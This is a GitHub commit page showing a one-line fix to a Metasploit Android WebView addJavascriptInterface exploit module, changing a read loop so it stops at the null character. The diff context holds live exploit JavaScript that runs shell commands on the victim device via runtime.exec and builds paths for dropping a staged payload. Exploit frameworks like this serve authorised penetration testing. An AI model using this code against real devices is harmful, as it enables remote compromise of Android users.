Skip to content

Commit 55500ea

Browse files
committed
Avoid the nullchar.
1 parent 176cc84 commit 55500ea

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,7 @@ def js
108108
// $PPID does not seem to work on android 4.0, so we concat pids manually
109109
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
110110
var ch, path = '/data/data/';
111-
while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); }
111+
while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
112112
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
113113
var stagePath = path + '/#{stagename}.apk';
114114
var dexPath = path + '/#{stagename}.dex';

0 commit comments

Comments
 (0)